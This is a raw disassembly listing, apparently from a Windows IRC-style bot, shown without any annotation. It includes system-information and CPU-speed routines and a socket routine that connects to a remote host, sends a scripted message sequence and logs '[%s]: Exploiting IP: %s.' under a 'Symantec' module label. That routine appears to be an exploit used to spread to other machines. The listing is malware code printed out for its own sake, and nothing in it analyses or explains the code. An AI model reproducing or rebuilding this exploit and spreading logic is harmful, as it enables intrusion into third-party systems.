

loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26A044Bh
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		call	near ptr 26F0601h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 26A0000h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2770000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 2880000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08
		push	[ebp+var_4]
		call	dword_4CBA08
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
